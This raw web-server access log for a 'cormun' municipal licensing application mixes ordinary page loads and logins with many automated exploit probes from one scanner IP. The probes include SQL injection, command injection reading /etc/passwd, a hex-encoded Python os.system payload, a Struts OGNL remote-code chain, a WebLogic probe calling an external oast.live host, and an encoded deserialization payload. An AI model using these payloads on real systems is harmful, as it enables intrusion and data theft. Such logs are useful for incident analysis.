/cormun/static/PXToolsJavascripts/pexe_windows.js HTTP/1.1" 200 15249 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/Shared/jqueryui/jquery-ui.min.css?1345370 HTTP/1.1" 200 30288 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/PXToolsJavascripts/pexe_autoreload.js HTTP/1.1" 200 1762 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/PXToolsJavascripts/pexe_grid.js HTTP/1.1" 200 7559 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/Resources/Spanish/PXTools.css?14345360 HTTP/1.1" 200 100853 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/PXToolsJavascripts/pexe_griddivfix.js HTTP/1.1" 200 6946 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/PXToolsJavascripts/pexe_menudivfix.js HTTP/1.1" 200 333 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/PXToolsJavascripts/pexe_link.js HTTP/1.1" 200 5671 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/PXToolsJavascripts/pexe_menus.js HTTP/1.1" 200 1286 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/PXToolsJavascripts/pexe_oav.js HTTP/1.1" 200 645 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/PXToolsJavascripts/pexe_layers.js HTTP/1.1" 200 4114 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/PXToolsJavascripts/pexe_oavdivfix.js HTTP/1.1" 200 639 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/PXToolsJavascripts/pexe_picture.js HTTP/1.1" 200 689 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/PXToolsJavascripts/pexe_popup.js HTTP/1.1" 200 15149 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/PXToolsJavascripts/pexe_scrolldiv.js HTTP/1.1" 200 4138 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/PXToolsJavascripts/pexe_tabdivfix.js HTTP/1.1" 200 898 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/PXToolsJavascripts/pexe_tabs.js HTTP/1.1" 200 3748 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/PXToolsJavascripts/pexe_upload.js HTTP/1.1" 200 1423 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/PXToolsJavascripts/PXToolsJavascriptsRender.js HTTP/1.1" 200 367 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/Resources/CormunMP2.png HTTP/1.1" 200 6878 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/Resources/ImgHome.png HTTP/1.1" 200 1364 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/Resources/Llave.png HTTP/1.1" 200 1395 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/Resources/ImgLogin.png HTTP/1.1" 200 1432 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/RunJS/RunJS.js HTTP/1.1" 200 288 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/Resources/PXToolsDataTitle.png HTTP/1.1" 200 1173 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/hwchdr01.js?2022112219251119 HTTP/1.1" 200 996 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/Shared/ext/locale/ext-lang-en.js HTTP/1.1" 200 10940 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/hhome.js?20201215495544 HTTP/1.1" 200 777 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/hpexe_recentlink.js?20201214471090 HTTP/1.1" 200 2144 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/gxui/gxui-all.js HTTP/1.1" 200 107772 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/hpexe_scripts.js?20201214471411 HTTP/1.1" 200 1544 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/hpexe_messagecontroller.js?202211298371222 HTTP/1.1" 200 870 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/hpexe_messagepopupcomponent.js?2020121447232 HTTP/1.1" 200 605 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/hpexe_messagegenexuscomponent.js?20221129836373 HTTP/1.1" 200 587 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/cmcontrolpreferences.js?20199141926336 HTTP/1.1" 200 1375 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/SmoothNavMenu/resources/ddsmoothmenu.js HTTP/1.1" 200 12712 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/SmoothNavMenu/resources/SmoothNavMenuRender.js HTTP/1.1" 200 5951 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/scaMessage/js/jquery.pnotify.min.js HTTP/1.1" 200 13038 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/Shared/jquery/jquery-1.4.2.min.js HTTP/1.1" 200 72174 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/scaMessage/scaMessageRender.js HTTP/1.1" 200 11977 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/hmpwkw03.js?20221129844354 HTTP/1.1" 200 3971 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/Shared/jqueryui/jquery-ui.min.js HTTP/1.1" 200 240427 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/Shared/jquery/jquery-1.10.2.min.js HTTP/1.1" 200 273199 200.83.117.162 - - [10/Mar/2024:15:57:19 -0300] "GET /cormun/static/Shared/ext/ext-all.js HTTP/1.1" 200 1289687 200.83.117.162 - - [10/Mar/2024:15:57:19 -0300] "GET /cormun/static/SmoothNavMenu/resources/images/down.gif HTTP/1.1" 200 854 200.83.117.162 - - [10/Mar/2024:15:57:19 -0300] "GET /cormun/static/SmoothNavMenu/resources/images/right.gif HTTP/1.1" 200 860 200.83.117.162 - - [10/Mar/2024:15:57:29 -0300] "GET /cormun/servlet/trlicencias? HTTP/1.1" 200 11328 200.83.117.162 - - [10/Mar/2024:15:57:29 -0300] "GET /cormun/static/calendar-system.css?85620 HTTP/1.1" 200 5572 200.83.117.162 - - [10/Mar/2024:15:57:29 -0300] "GET /cormun/static/gxcfg.js?202211298463625 HTTP/1.1" 200 953 200.83.117.162 - - [10/Mar/2024:15:57:29 -0300] "GET /cormun/static/gxui/gxui-all.css?120300 HTTP/1.1" 200 2179 200.83.117.162 - - [10/Mar/2024:15:57:29 -0300] "GET /cormun/static/calendar.js?85251 HTTP/1.1" 200 26246 200.83.117.162 - - [10/Mar/2024:15:57:29 -0300] "GET /cormun/static/calendar-setup.js?85251 HTTP/1.1" 200 2588 200.83.117.162 - - [10/Mar/2024:15:57:29 -0300] "GET /cormun/static/Resources/PXTools/calendar.png HTTP/1.1" 200 1306 200.83.117.162 - - [10/Mar/2024:15:57:29 -0300] "GET /cormun/static/calendar-es.js?85251 HTTP/1.1" 200 1901 200.83.117.162 - - [10/Mar/2024:15:57:29 -0300] "GET /cormun/static/gxdec.js?85251 HTTP/1.1" 200 19579 200.83.117.162 - - [10/Mar/2024:15:57:29 -0300] "GET /cormun/static/trlicencias.js?202211298463889 HTTP/1.1" 200 41883 200.83.117.162 - - [10/Mar/2024:15:57:29 -0300] "GET /cormun/static/Resources/PXToolsDataSearch.png HTTP/1.1" 200 435 200.83.117.162 - - [10/Mar/2024:15:57:29 -0300] "GET /cormun/static/Resources/PXToolsGridFirstDisabled.gif HTTP/1.1" 200 100 200.83.117.162 - - [10/Mar/2024:15:57:29 -0300] "GET /cormun/static/Resources/PXToolsGridPreviousDisabled.gif HTTP/1.1" 200 90 200.83.117.162 - - [10/Mar/2024:15:57:29 -0300] "GET /cormun/static/Resources/PXToolsGridNextDisabled.gif HTTP/1.1" 200 90 200.83.117.162 - - [10/Mar/2024:15:57:29 -0300] "GET /cormun/static/Resources/PXToolsGridLastDisabled.gif HTTP/1.1" 200 98 200.83.117.162 - - [10/Mar/2024:15:57:29 -0300] "GET /cormun/static/Resources/PXToolsGridPage.gif HTTP/1.1" 200 725 200.83.117.162 - - [10/Mar/2024:15:57:29 -0300] "GET /cormun/static/Shared/ext/resources/css/ext-all.css?215870 HTTP/1.1" 200 416045 200.83.117.162 - - [10/Mar/2024:15:57:29 -0300] "GET /cormun/static/Resources/PXToolsActionExcel.png HTTP/1.1" 200 727 200.83.117.162 - - [10/Mar/2024:15:57:29 -0300] "GET /cormun/static/Resources/PXToolsAddAllAction.png HTTP/1.1" 200 495 200.83.117.162 - - [10/Mar/2024:15:57:30 -0300] "GET /cormun//static/Resources/PXToolsActionDisabled.gif HTTP/1.1" 200 53 200.83.117.162 - - [10/Mar/2024:15:57:30 -0300] "GET /cormun//static/Resources/PXToolsGridDisplay.png HTTP/1.1" 200 525 200.83.117.162 - - [10/Mar/2024:15:57:30 -0300] "GET /cormun/static/Resources/desc.gif HTTP/1.1" 200 65 200.83.117.162 - - [10/Mar/2024:15:57:30 -0300] "GET /cormun//static/Resources/PXTools/ActionInsert.png HTTP/1.1" 200 1482 200.83.117.162 - - [10/Mar/2024:15:57:30 -0300] "GET /cormun/static/Resources/asc.gif HTTP/1.1" 200 67 200.83.117.162 - - [10/Mar/2024:15:57:30 -0300] "GET /cormun//static/Resources/PXToolsActionPrint.png HTTP/1.1" 200 404 200.83.117.162 - - [10/Mar/2024:15:57:30 -0300] "GET /cormun//static/Resources/PXToolsHeaderHelp.png HTTP/1.1" 200 1333 200.83.117.162 - - [10/Mar/2024:15:57:30 -0300] "GET /cormun//static/Resources/PXToolsHeaderFavorites.png HTTP/1.1" 200 1414 200.83.117.162 - - [10/Mar/2024:15:57:30 -0300] "GET /cormun/static/Shared/ext/resources/themes/images/default/tools/tool-sprites.gif HTTP/1.1" 200 5434 200.83.117.162 - - [10/Mar/2024:15:57:30 -0300] "GET /cormun/static/Shared/ext/resources/themes/images/default/panel/bg-headersPanel.png HTTP/1.1" 200 255 13.234.226.222 - - [10/Mar/2024:16:07:05 -0300] "GET /wp-content/plugins/chopslider/get_script/index.php?id=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))A) HTTP/1.1" 404 1061 13.234.226.222 - - [10/Mar/2024:16:07:41 -0300] "GET / HTTP/1.1" 200 11217 13.234.226.222 - - [10/Mar/2024:16:07:59 -0300] "POST /mailingupgrade.php HTTP/1.1" 404 997 13.234.226.222 - - [10/Mar/2024:16:08:43 -0300] "GET /ucmdb-api/connect HTTP/1.1" 404 995 13.234.226.222 - - [10/Mar/2024:16:12:15 -0300] "GET /cgi-bin/live_api.cgi?page=8VH&id=2&ip=;id; HTTP/1.1" 404 1001 187.170.212.84 - - [10/Mar/2024:16:13:58 -0300] "GET / HTTP/1.1" 200 11217 13.234.226.222 - - [10/Mar/2024:16:18:34 -0300] "POST /ajax/api/content_infraction/getIndexableContent HTTP/1.1" 404 1055 13.234.226.222 - - [10/Mar/2024:16:24:44 -0300] "POST /cgi-bin/login.cgi HTTP/1.1" 404 995 91.92.251.96 - - [10/Mar/2024:16:37:42 -0300] "CONNECT google.com:443 HTTP/1.1" 400 - 13.234.226.222 - - [10/Mar/2024:17:21:04 -0300] "POST /wp-admin/admin-ajax.php HTTP/1.1" 404 1007 13.234.226.222 - - [10/Mar/2024:17:21:05 -0300] "GET /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/2dSPNiJPebnVwY6mz2laUgXDr4r.txt HTTP/1.1" 404 1121 13.234.226.222 - - [10/Mar/2024:17:27:15 -0300] "GET /webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%276563686f20224d6d525455453573517a6b7853465a774e4667316247733061336f7964306850647a465422207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6f7574%27.decode%28%27hex%27%29%29%23&timeout=5 HTTP/1.1" 404 1017 13.234.226.222 - - [10/Mar/2024:17:27:16 -0300] "GET /webadmin/out HTTP/1.1" 404 985 13.234.226.222 - - [10/Mar/2024:17:46:40 -0300] "GET /api/experimental/latest_runs HTTP/1.1" 404 1017 185.36.81.40 - - [10/Mar/2024:17:50:03 -0300] "CONNECT google.com:443 HTTP/1.1" 400 - 13.234.226.222 - - [10/Mar/2024:17:55:41 -0300] "POST /context.json HTTP/1.1" 404 985 13.234.226.222 - - [10/Mar/2024:18:10:47 -0300] "GET /?cffaction=get_data_from_database&query=SELECT%20*%20from%20wp_users HTTP/1.1" 200 11217 13.234.226.222 - - [10/Mar/2024:18:17:01 -0300] "POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1" 404 1043 13.234.226.222 - - [10/Mar/2024:18:25:53 -0300] "GET /console/images/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext('http://cnm831f8c89nksussvq036qnmw7dqyqdt.oast.live') HTTP/1.1" 404 1049 198.235.24.246 - - [10/Mar/2024:18:26:28 -0300] "GET / HTTP/1.1" 200 11217 13.234.226.222 - - [10/Mar/2024:18:32:14 -0300] "GET /index.php?r=test/sss&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjY6ImxzIC1hbCI7fWk6MTtzOjM6InJ1biI7fX19fQ== HTTP/1.1" 404 979 168.196.203.144 - - [10/Mar/2024:18:33:12 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1763 168.196.203.144 - - [10/Mar/2024:18:33:12 -0300] "GET /cormun/static/gxtimezone.js?85251 HTTP/1.1" 200 5781 168.196.203.144 - - [10/Mar/2024:18:33:12 -0300] "GET /cormun/static/gxfxSD.js?85251 HTTP/1.1" 200 15384 168.196.203.144 - - [10/Mar/2024:18:33:12 -0300] "GET /cormun/static/gxgralSD.js?85251 HTTP/1.1" 200 20927 168.196.203.144 - - [10/Mar/2024:18:33:12 -0300] "GET /cormun/static/gxpopupSD.js?85251 HTTP/1.1" 200 22377 168.196.203.144 - - [10/Mar/2024:18:33:12 -0300] "GET /cormun/static/messages.spa.js?85251 HTTP/1.1" 200 30736 168.196.203.144 - - [10/Mar/2024:18:33:13 -0300] "GET /cormun/static/gxcfg.js?85251 HTTP/1.1" 200 953 168.196.203.144 - - [10/Mar/2024:18:33:13 -0300] "GET /cormun/static/hlogin.js?2022112219184458 HTTP/1.1" 200 2156 168.196.203.144 - - [10/Mar/2024:18:33:13 -0300] "GET /cormun/static/gxgridSD.js?85251 HTTP/1.1" 200 50735 168.196.203.144 - - [10/Mar/2024:18:33:13 -0300] "GET /cormun/static/gxapiSD.js?85251 HTTP/1.1" 200 78773 168.196.203.144 - - [10/Mar/2024:18:33:13 -0300] "GET /cormun/static/gxfrmutlSD.js?85251 HTTP/1.1" 200 89044 168.196.203.144 - - [10/Mar/2024:18:33:13 -0300] "GET /cormun/static/Resources/CormunLogin.png HTTP/1.1" 200 19132 168.196.203.144 - - [10/Mar/2024:18:33:13 -0300] "GET /cormun/static/Resources/PXToolsLoginTop.png HTTP/1.1" 200 1337 168.196.203.144 - - [10/Mar/2024:18:33:13 -0300] "GET /cormun/static/Resources/indicator.gif HTTP/1.1" 200 1553 168.196.203.144 - - [10/Mar/2024:18:33:13 -0300] "GET /cormun/static/Resources/PXToolsButtonLeft.png HTTP/1.1" 200 1310 168.196.203.144 - - [10/Mar/2024:18:33:13 -0300] "GET /cormun/static/Resources/PXToolsButtonBackground.png HTTP/1.1" 200 1176 168.196.203.144 - - [10/Mar/2024:18:33:13 -0300] "GET /cormun/static/Resources/PXToolsLoginBackground.png HTTP/1.1" 200 1164 168.196.203.144 - - [10/Mar/2024:18:33:13 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1774 168.196.203.144 - - [10/Mar/2024:18:33:13 -0300] "GET /cormun/static/Resources/PXToolsLoginTop.png HTTP/1.1" 200 1337 168.196.203.144 - - [10/Mar/2024:18:33:13 -0300] "GET /cormun/static/Resources/indicator.gif HTTP/1.1" 200 1553 168.196.203.144 - - [10/Mar/2024:18:33:13 -0300] "GET /cormun/static/Resources/PXToolsLoginBackground.png HTTP/1.1" 200 1164 168.196.203.144 - - [10/Mar/2024:18:33:13 -0300] "GET /cormun/static/Resources/PXToolsButtonLeft.png HTTP/1.1" 200 1310 168.196.203.144 - - [10/Mar/2024:18:33:13 -0300] "GET /cormun/static/Resources/PXToolsButtonRight.png HTTP/1.1" 200 1294 168.196.203.144 - - [10/Mar/2024:18:33:13 -0300] "GET /cormun/static/Resources/PXToolsLoginBottom.png HTTP/1.1" 200 1389 168.196.203.144 - - [10/Mar/2024:18:33:13 -0300] "GET /cormun/static/Resources/PXToolsButtonBackground.png HTTP/1.1" 200 1176 13.234.226.222 - - [10/Mar/2024:18:34:22 -0300] "GET /nette.micro/?callback=phpcredits HTTP/1.1" 404 985 13.234.226.222 - - [10/Mar/2024:18:35:29 -0300] "POST /lib/crud/userprocess.php HTTP/1.1" 404 1009 13.234.226.222 - - [10/Mar/2024:18:35:29 -0300] "GET /login.php HTTP/1.1" 404 979 13.234.226.222 - - [10/Mar/2024:18:35:30 -0300] "POST /lib/crud/userprocess.php HTTP/1.1" 404 1009 13.234.226.222 - - [10/Mar/2024:18:58:05 -0300] "POST /mifs/.;/services/LogService HTTP/1.1" 404 1015 13.234.226.222 - - [10/Mar/2024:19:02:01 -0300] "POST /run HTTP/1.1" 404 967 13.234.226.222 - - [10/Mar/2024:19:05:00 -0300] "POST /PDC/ajaxreq.php?PARAM=127.0.0.1+-c+0%3B+cat+%2Fetc%2Fpasswd&DIAGNOSIS=PING HTTP/1.1" 404 991 13.234.226.222 - - [10/Mar/2024:19:07:02 -0300] "POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1" 404 1049 13.234.226.222 - - [10/Mar/2024:19:07:02 -0300] "POST /fuel/login/ HTTP/1.1" 404 983 13.234.226.222 - - [10/Mar/2024:19:07:02 -0300] "GET /fuel/login/ HTTP/1.1" 404 983 13.234.226.222 - - [10/Mar/2024:19:07:02 -0300] "GET /fuel/pages/items/?search_term&published&layout&limit=50&view_type=list&offset=0&order=asc&col=location+AND+(SELECT+1340+FROM+(SELECT(SLEEP(6)))ULQV)&fuel_inline=0 HTTP/1.1" 404 995 13.234.226.222 - - [10/Mar/2024:19:11:37 -0300] "GET /fw.login.php?apikey=%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27; HTTP/1.1" 404 985 35.208.135.131 - - [10/Mar/2024:19:12:40 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1709 13.234.226.222 - - [10/Mar/2024:19:18:50 -0300] "GET /?id=%25%7B%28%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D%29.%28%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D%29.%28%23bean%3D%23instancemanager.newInstance%28%22org.apache.commons.collections.BeanMap%22%29%29.%28%23bean.setBean%28%23stack%29%29.%28%23context%3D%23bean.get%28%22context%22%29%29.%28%23bean.setBean%28%23context%29%29.%28%23macc%3D%23bean.get%28%22memberAccess%22%29%29.%28%23bean.setBean%28%23macc%29%29.%28%23emptyset%3D%23instancemanager.newInstance%28%22java.util.HashSet%22%29%29.%28%23bean.put%28%22excludedClasses%22%2C%23emptyset%29%29.%28%23bean.put%28%22excludedPackageNames%22%2C%23emptyset%29%29.%28%23arglist%3D%23instancemanager.newInstance%28%22java.util.ArrayList%22%29%29.%28%23arglist.add%28%22cat+%2Fetc%2Fpasswd%22%29%29.%28%23execute%3D%23instancemanager.newInstance%28%22freemarker.template.utility.Execute%22%29%29.%28%23execute.exec%28%23arglist%29%29%7D HTTP/1.1" 200 11217 13.234.226.222 - - [10/Mar/2024:19:19:27 -0300] "GET /tests/support/stores/test_grid_filter.php?query=echo%20md5%28%22CVE-2020-19625%22%29%3B HTTP/1.1" 404 1043 13.234.226.222 - - [10/Mar/2024:19:34:33 -0300] "POST /public/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=exp&uid[1]=)%20and%20updatexml(1,concat(0x7e,md5('999999'),0x7e),1)--++ HTTP/1.1" 404 1041 13.234.226.222 - - [10/Mar/2024:19:39:41 -0300] "GET /passport/index.php?action=manage&mtype=userset&backurl=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 404 997 13.234.226.222 - - [10/Mar/2024:19:48:15 -0300] "POST /forgot_password.php HTTP/1.1" 404 999 13.234.226.222 - - [10/Mar/2024:19:58:03 -0300] "GET /include/exportUser.php?type=3&cla=application&func=_exec&opt=(cat%20/etc/passwd)%3Erlrc.txt HTTP/1.1" 404 1005 13.234.226.222 - - [10/Mar/2024:19:58:04 -0300] "GET /include/rlrc.txt HTTP/1.1" 404 993 13.234.226.222 - - [10/Mar/2024:20:06:14 -0300] "POST /cgi-bin/login.cgi HTTP/1.1" 404 995 13.234.226.222 - - [10/Mar/2024:20:06:15 -0300] "POST /cgi-bin/system_log.cgi HTTP/1.1" 404 1005 205.210.31.166 - - [10/Mar/2024:20:32:29 -0300] "GET / HTTP/1.0" 200 11197 13.234.226.222 - - [10/Mar/2024:20:44:33 -0300] "POST /login HTTP/1.1" 404 971 181.161.226.170 - - [10/Mar/2024:20:54:39 -0300] "ˆ¦t“S³iË¸»ZaCz¢+ĸfï”kr‚ÿ| ēµÖ"ËÝé¾G‡- " 400 - 181.161.226.170 - - [10/Mar/2024:20:54:41 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1723 181.161.226.170 - - [10/Mar/2024:20:54:42 -0300] "GET /cormun/static/gxtimezone.js?85251 HTTP/1.1" 200 5781 181.161.226.170 - - [10/Mar/2024:20:54:42 -0300] "GET /cormun/static/Resources/Spanish/PXTools.css?1759030 HTTP/1.1" 200 100853 181.161.226.170 - - [10/Mar/2024:20:54:42 -0300] "GET /cormun/static/gxgral.js?85251 HTTP/1.1" 200 384558 181.161.226.170 - - [10/Mar/2024:20:54:42 -0300] "GET /cormun/static/gxcfg.js?2022112219184450 HTTP/1.1" 200 953 181.161.226.170 - - [10/Mar/2024:20:54:42 -0300] "GET /cormun/static/Resources/CormunLogin.png HTTP/1.1" 200 19132 181.161.226.170 - - [10/Mar/2024:20:54:42 -0300] "GET /cormun/static/messages.spa.js?85251 HTTP/1.1" 200 30736 181.161.226.170 - - [10/Mar/2024:20:54:42 -0300] "GET /cormun/static/hlogin.js?2022112219184458 HTTP/1.1" 200 2156 181.161.226.170 - - [10/Mar/2024:20:54:42 -0300] "GET /cormun/static/Resources/PXToolsLoginTop.png HTTP/1.1" 200 1337 181.161.226.170 - - [10/Mar/2024:20:54:42 -0300] "GET /cormun/static/Resources/PXToolsLoginBackground.png HTTP/1.1" 200 1164 181.161.226.170 - - [10/Mar/2024:20:54:42 -0300] "GET /cormun/static/Resources/PXToolsButtonLeft.png HTTP/1.1" 200 1310 181.161.226.170 - - [10/Mar/2024:20:54:43 -0300] "GET /cormun/static/Resources/PXToolsButtonRight.png HTTP/1.1" 200 1294 181.161.226.170 - - [10/Mar/2024:20:54:43 -0300] "GET /cormun/static/Resources/PXToolsLoginBottom.png HTTP/1.1" 200 1389 181.161.226.170 - - [10/Mar/2024:20:54:43 -0300] "GET /cormun/static/Resources/PXToolsButtonBackground.png HTTP/1.1" 200 1176 181.161.226.170 - - [10/Mar/2024:20:54:43 -0300] "GET /cormun/static/Resources/indicator.gif HTTP/1.1" 200 1553 181.161.226.170 - - [10/Mar/2024:20:54:43 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1733 181.161.226.170 - - [10/Mar/2024:20:54:43 -0300] "GET /favicon.ico HTTP/1.1" 200 21630 181.161.226.170 - - [10/Mar/2024:20:54:59 -0300] "POST /cormun/servlet/hlogin?848b8e0effb387cc51c94889690205c1,gx-no-cache=1710114735916 HTTP/1.1" 200 448 181.161.226.170 - - [10/Mar/2024:20:55:10 -0300] "POST /cormun/servlet/hlogin?848b8e0effb387cc51c94889690205c1,gx-no-cache=1710114746578 HTTP/1.1" 200 447 181.161.226.170 - - [10/Mar/2024:20:55:13 -0300] "POST /cormun/servlet/hlogin?848b8e0effb387cc51c94889690205c1,gx-no-cache=1710114750186 HTTP/1.1" 200 446 181.161.226.170 - - [10/Mar/2024:20:55:14 -0300] "POST /cormun/servlet/hlogin?848b8e0effb387cc51c94889690205c1,gx-no-cache=1710114750346 HTTP/1.1" 200 446 181.161.226.170 - - [10/Mar/2024:20:55:14 -0300] "POST /cormun/servlet/hlogin?848b8e0effb387cc51c94889690205c1,gx-no-cache=1710114750714 HTTP/1.1" 200 446 181.161.226.170 - - [10/Mar/2024:20:55:22 -0300] "POST /cormun/servlet/hlogin?848b8e0effb387cc51c94889690205c1,gx-no-cache=1710114758986 HTTP/1.1" 200 447 190.208.14.69 - - [10/Mar/2024:20:55:22 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1728 190.208.14.69 - - [10/Mar/2024:20:55:23 -0300] "GET /cormun/static/gxcfg.js?2022112219184450 HTTP/1.1" 200 953 190.208.14.69 - - [10/Mar/2024:20:55:23 -0300] "GET /cormun/static/gxtimezone.js?85251 HTTP/1.1" 200 5781 190.208.14.69 - - [10/Mar/2024:20:55:24 -0300] "GET /cormun/static/Resources/Spanish/PXTools.css?1759030 HTTP/1.1" 200 100853 190.208.14.69 - - [10/Mar/2024:20:55:24 -0300] "GET /cormun/static/gxgral.js?85251 HTTP/1.1" 200 384558 190.208.14.69 - - [10/Mar/2024:20:55:25 -0300] "GET /cormun/static/messages.spa.js?85251 HTTP/1.1" 200 30736 190.208.14.69 - - [10/Mar/2024:20:55:25 -0300] "GET /cormun/static/hlogin.js?2022112219184458 HTTP/1.1" 200 2156 190.208.14.69 - - [10/Mar/2024:20:55:25 -0300] "GET /cormun/static/Resources/CormunLogin.png HTTP/1.1" 200 19132 190.208.14.69 - - [10/Mar/2024:20:55:26 -0300] "GET /cormun/static/Resources/PXToolsButtonBackground.png HTTP/1.1" 200 1176 190.208.14.69 - - [10/Mar/2024:20:55:26 -0300] "GET /cormun/static/Resources/PXToolsLoginBottom.png HTTP/1.1" 200 1389 190.208.14.69 - - [10/Mar/2024:20:55:26 -0300] "GET /cormun/static/Resources/PXToolsButtonLeft.png HTTP/1.1" 200 1310 190.208.14.69 - - [10/Mar/2024:20:55:26 -0300] "GET /cormun/static/Resources/PXToolsButtonRight.png HTTP/1.1" 200 1294 190.208.14.69 - - [10/Mar/2024:20:55:26 -0300] "GET /cormun/static/Resources/PXToolsLoginTop.png HTTP/1.1" 200 1337 190.208.14.69 - - [10/Mar/2024:20:55:26 -0300] "GET /cormun/static/Resources/PXToolsLoginBackground.png HTTP/1.1" 200 1164 190.208.14.69 - - [10/Mar/2024:20:55:27 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1737 190.208.14.69 - - [10/Mar/2024:20:55:27 -0300] "GET /cormun/static/Resources/indicator.gif HTTP/1.1" 200 1553 190.208.14.69 - - [10/Mar/2024:20:55:28 -0300] "GET /cormun/static/Resources/indicator.gif HTTP/1.1" 200 1553 13.234.226.222 - - [10/Mar/2024:20:56:14 -0300] "GET /plus/ajax_street.php?act=alphabet&x=11%ef%bf%bd%27%20union%20select%201,2,3,concat(0x3C2F613E20),5,6,7,md5(999999999),9%20from%20qs_admin HTTP/1.1" 404 1001 181.161.226.170 - - [10/Mar/2024:20:56:19 -0300] "POST /cormun/servlet/hlogin?848b8e0effb387cc51c94889690205c1,gx-no-cache=1710114815754 HTTP/1.1" 200 448 13.234.226.222 - - [10/Mar/2024:21:01:34 -0300] "GET /plus/ajax_common.php?act=hotword&query=aa%%e9%8c%a6%27%20union%20select%201,md5(999999999),3%23%27 HTTP/1.1" 404 1001 13.234.226.222 - - [10/Mar/2024:21:04:31 -0300] "GET /plus/ajax_officebuilding.php?act=key&key=%e9%8c%a6%27%20a<>nd%201=2%20un<>ion%20sel<>ect%201,2,3,md5(999999999),5,6,7,8,9%23 HTTP/1.1" 404 1017 13.234.226.222 - - [10/Mar/2024:21:12:54 -0300] "GET /plus/ajax_street.php?act=key&key=%E9%8C%A6%27%20union%20select%201,2,3,4,5,6,7,md5(999999999),9%23 HTTP/1.1" 404 1001 13.234.226.222 - - [10/Mar/2024:21:21:14 -0300] "GET /wp-content/plugins/import-xml-feed/readme.txt HTTP/1.1" 404 1051 